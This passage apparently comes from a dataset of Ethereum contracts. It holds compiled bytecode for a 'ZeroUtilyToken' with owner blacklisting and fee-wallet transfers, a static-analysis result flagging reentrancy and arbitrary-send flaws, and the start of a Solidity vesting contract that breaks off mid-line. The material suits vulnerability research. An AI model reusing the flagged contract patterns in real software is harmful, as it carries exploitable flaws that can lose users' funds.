057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612aef565b6110ce565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612995565b611216565b604051610418919061309f565b60405180910390f35b60606040518060400160405280600e81526020017f5a65726f5574696c79546f6b656e000000000000000000000000000000000000815250905090565b600061047261046b61129d565b84846112a5565b6001905092915050565b600067016345785d8a0000905090565b6000610499848484611470565b61055a846104a561129d565b610555856040518060600160405280602881526020016137d860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b61129d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6112a5565b600190509392505050565b61056d61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066661129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075161129d565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c93565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db4565b9050919050565b6107db61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f5a55000000000000000000000000000000000000000000000000000000000000815250905090565b60006109a061099961129d565b8484611470565b6001905092915050565b6109b261129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fdf565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee906133b5565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b61129d565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611e22565b50565b610b7c61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fdf565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c509061305f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006112a5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d66919061296c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e00919061296c565b6040518363ffffffff1660e01b8152600401610e1d929190612e2f565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f919061296c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e81565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612b18565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066038d7ea4c680006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611078929190612e58565b602060405180830381600087803b15801561109257600080fd5b505af11580156110a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ca9190612ac6565b5050565b6110d661129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612fdf565b60405180910390fd5b600081116111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612f9f565b60405180910390fd5b6111d460646111c68367016345785d8a000061211c90919063ffffffff16565b61219790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120b919061309f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611463919061309f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d79061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790612f1f565b60405180910390fd5b60008111611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612fff565b60405180910390fd5b61159b610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160957506115d9610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57600f60179054906101000a900460ff161561183c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178561129d565b73ffffffffffffffffffffffffffffffffffffffff1614806117fb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e361129d565b73ffffffffffffffffffffffffffffffffffffffff16145b61183a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118319061307f565b60405180910390fd5b5b5b60105481111561184b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ef5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a115750600f60179054906101000a900460ff165b15611ab25742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6157600080fd5b603c42611a6e91906131d5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abd30610782565b9050600f60159054906101000a900460ff16158015611b2a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b425750600f60169054906101000a900460ff165b15611b6a57611b5081611e22565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c29848484846121e1565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612efd565b60405180910390fd5b5060008385611c8691906132b6565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf6600a611ce860048661211c90919063ffffffff16565b61219790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d21573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d85600a611d7760068661211c90919063ffffffff16565b61219790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db0573d6000803e3d6000fd5b5050565b6000600654821115611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df290612f3f565b60405180910390fd5b6000611e0561220e565b9050611e1a818461219790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eae5781602001602082028036833780820191505090505b5090503081600081518110611eec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8e57600080fd5b505afa158015611fa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc6919061296c565b81600181518110612000577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cb9594939291906130ba565b600060405180830381600087803b1580156120e557600080fd5b505af11580156120f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561212f5760009050612191565b6000828461213d919061325c565b905082848261214c919061322b565b1461218c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218390612fbf565b60405180910390fd5b809150505b92915050565b60006121d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612239565b905092915050565b806121ef576121ee61229c565b5b6121fa8484846122cd565b8061220857612207612498565b5b50505050565b600080600061221b6124aa565b91509150612232818361219790919063ffffffff16565b9250505090565b60008083118290612280576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122779190612efd565b60405180910390fd5b506000838561228f919061322b565b9050809150509392505050565b60006008541480156122b057506000600954145b156122ba576122cb565b600060088190555060006009819055505b565b6000806000806000806122df87612509565b95509550955095509550955061233d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241e81612619565b61242884836126d6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612485919061309f565b60405180910390a3505050505050505050565b60016008819055506002600981905550565b60008060006006549050600067016345785d8a000090506124de67016345785d8a000060065461219790919063ffffffff16565b8210156124fc5760065467016345785d8a0000935093505050612505565b81819350935050505b9091565b60008060008060008060008060006125268a600854600954612710565b925092509250600061253661220e565b905060008060006125498e8787876127a6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125ca91906131d5565b90508381101561260f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260690612f7f565b60405180910390fd5b8091505092915050565b600061262361220e565b9050600061263a828461211c90919063ffffffff16565b905061268e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126eb8260065461257190919063ffffffff16565b600681905550612706816007546125bb90919063ffffffff16565b6007819055505050565b60008060008061273c601461272e888a61211c90919063ffffffff16565b61219790919063ffffffff16565b905060006127666014612758888b61211c90919063ffffffff16565b61219790919063ffffffff16565b9050600061278f82612781858c61257190919063ffffffff16565b61257190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127bf858961211c90919063ffffffff16565b905060006127d6868961211c90919063ffffffff16565b905060006127ed878961211c90919063ffffffff16565b9050600061281682612808858761257190919063ffffffff16565b61257190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284261283d84613154565b61312f565b9050808382526020820190508285602086028201111561286157600080fd5b60005b858110156128915781612877888261289b565b845260208401935060208301925050600181019050612864565b5050509392505050565b6000813590506128aa81613792565b92915050565b6000815190506128bf81613792565b92915050565b600082601f8301126128d657600080fd5b81356128e684826020860161282f565b91505092915050565b6000813590506128fe816137a9565b92915050565b600081519050612913816137a9565b92915050565b600081359050612928816137c0565b92915050565b60008151905061293d816137c0565b92915050565b60006020828403121561295557600080fd5b60006129638482850161289b565b91505092915050565b60006020828403121561297e57600080fd5b600061298c848285016128b0565b91505092915050565b600080604083850312156129a857600080fd5b60006129b68582860161289b565b92505060206129c78582860161289b565b9150509250929050565b6000806000606084860312156129e657600080fd5b60006129f48682870161289b565b9350506020612a058682870161289b565b9250506040612a1686828701612919565b9150509250925092565b60008060408385031215612a3357600080fd5b6000612a418582860161289b565b9250506020612a5285828601612919565b9150509250929050565b600060208284031215612a6e57600080fd5b600082013567ffffffffffffffff811115612a8857600080fd5b612a94848285016128c5565b91505092915050565b600060208284031215612aaf57600080fd5b6000612abd848285016128ef565b91505092915050565b600060208284031215612ad857600080fd5b6000612ae684828501612904565b91505092915050565b600060208284031215612b0157600080fd5b6000612b0f84828501612919565b91505092915050565b600080600060608486031215612b2d57600080fd5b6000612b3b8682870161292e565b9350506020612b4c8682870161292e565b9250506040612b5d8682870161292e565b9150509250925092565b6000612b738383612b7f565b60208301905092915050565b612b88816132ea565b82525050565b612b97816132ea565b82525050565b6000612ba882613190565b612bb281856131b3565b9350612bbd83613180565b8060005b83811015612bee578151612bd58882612b67565b9750612be0836131a6565b925050600181019050612bc1565b5085935050505092915050565b612c04816132fc565b82525050565b612c138161333f565b82525050565b6000612c248261319b565b612c2e81856131c4565b9350612c3e818560208601613351565b612c478161348b565b840191505092915050565b6000612c5f6023836131c4565b9150612c6a8261349c565b604082019050919050565b6000612c82602a836131c4565b9150612c8d826134eb565b604082019050919050565b6000612ca56022836131c4565b9150612cb08261353a565b604082019050919050565b6000612cc8601b836131c4565b9150612cd382613589565b602082019050919050565b6000612ceb601d836131c4565b9150612cf6826135b2565b602082019050919050565b6000612d0e6021836131c4565b9150612d19826135db565b604082019050919050565b6000612d316020836131c4565b9150612d3c8261362a565b602082019050919050565b6000612d546029836131c4565b9150612d5f82613653565b604082019050919050565b6000612d776025836131c4565b9150612d82826136a2565b604082019050919050565b6000612d9a6024836131c4565b9150612da5826136f1565b604082019050919050565b6000612dbd6017836131c4565b9150612dc882613740565b602082019050919050565b6000612de06011836131c4565b9150612deb82613769565b602082019050919050565b612dff81613328565b82525050565b612e0e81613332565b82525050565b6000602082019050612e296000830184612b8e565b92915050565b6000604082019050612e446000830185612b8e565b612e516020830184612b8e565b9392505050565b6000604082019050612e6d6000830185612b8e565b612e7a6020830184612df6565b9392505050565b600060c082019050612e966000830189612b8e565b612ea36020830188612df6565b612eb06040830187612c0a565b612ebd6060830186612c0a565b612eca6080830185612b8e565b612ed760a0830184612df6565b979650505050505050565b6000602082019050612ef76000830184612bfb565b92915050565b60006020820190508181036000830152612f178184612c19565b905092915050565b60006020820190508181036000830152612f3881612c52565b9050919050565b60006020820190508181036000830152612f5881612c75565b9050919050565b60006020820190508181036000830152612f7881612c98565b9050919050565b60006020820190508181036000830152612f9881612cbb565b9050919050565b60006020820190508181036000830152612fb881612cde565b9050919050565b60006020820190508181036000830152612fd881612d01565b9050919050565b60006020820190508181036000830152612ff881612d24565b9050919050565b6000602082019050818103600083015261301881612d47565b9050919050565b6000602082019050818103600083015261303881612d6a565b9050919050565b6000602082019050818103600083015261305881612d8d565b9050919050565b6000602082019050818103600083015261307881612db0565b9050919050565b6000602082019050818103600083015261309881612dd3565b9050919050565b60006020820190506130b46000830184612df6565b92915050565b600060a0820190506130cf6000830188612df6565b6130dc6020830187612c0a565b81810360408301526130ee8186612b9d565b90506130fd6060830185612b8e565b61310a6080830184612df6565b9695505050505050565b60006020820190506131296000830184612e05565b92915050565b600061313961314a565b90506131458282613384565b919050565b6000604051905090565b600067ffffffffffffffff82111561316f5761316e61345c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e082613328565b91506131eb83613328565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132205761321f6133fe565b5b828201905092915050565b600061323682613328565b915061324183613328565b9250826132515761325061342d565b5b828204905092915050565b600061326782613328565b915061327283613328565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132ab576132aa6133fe565b5b828202905092915050565b60006132c182613328565b91506132cc83613328565b9250828210156132df576132de6133fe565b5b828203905092915050565b60006132f582613308565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334a82613328565b9050919050565b60005b8381101561336f578082015181840152602081019050613354565b8381111561337e576000848401525b50505050565b61338d8261348b565b810181811067ffffffffffffffff821117156133ac576133ab61345c565b5b80604052505050565b60006133c082613328565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f3576133f26133fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61379b816132ea565b81146137a657600080fd5b50565b6137b2816132fc565b81146137bd57600080fd5b50565b6137c981613328565b81146137d457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ade12b667f26e9a270a83a59cfef883a1c71fd25460a169220f91367f5e5dc8364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,562
0x85d7bc37533ca72f477b2e7dc4c675a10c830a5d
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract PhotoChromicVesting { using SafeMath for uint256; IERC20 public token; /** * Time Zone: UTC * Start Date: 2022-01-10 AM 10:00:00 * Last Date: 2022-12-10 AM 10:00:00 */ uint[12] public LockedDateList = [ 1641808800, 1644487200, 1646906400, 1649584800, 1652176800, 1654855200, 1657447200, 1660125600, 1662804000, 1665396000, 1668074400, 1670666400 ]; uint256 public totalLockedToken; address public unlockAddress = 0x1EB89AcDE42514b4bA49232C58036E124f9F2A89; uint256 public currentUnlockToken; uint256 public lastUnlockTime; uint256 public maxUnlockingTimes = 12; uint256 public beforeUnlockingTimes = 1; uint256 public beforeUnlockingToken; uint256 public afterUnlockingTimes = 11; uint256 public afterUnlockingToken; event MonthUnlock(address indexed mananger, 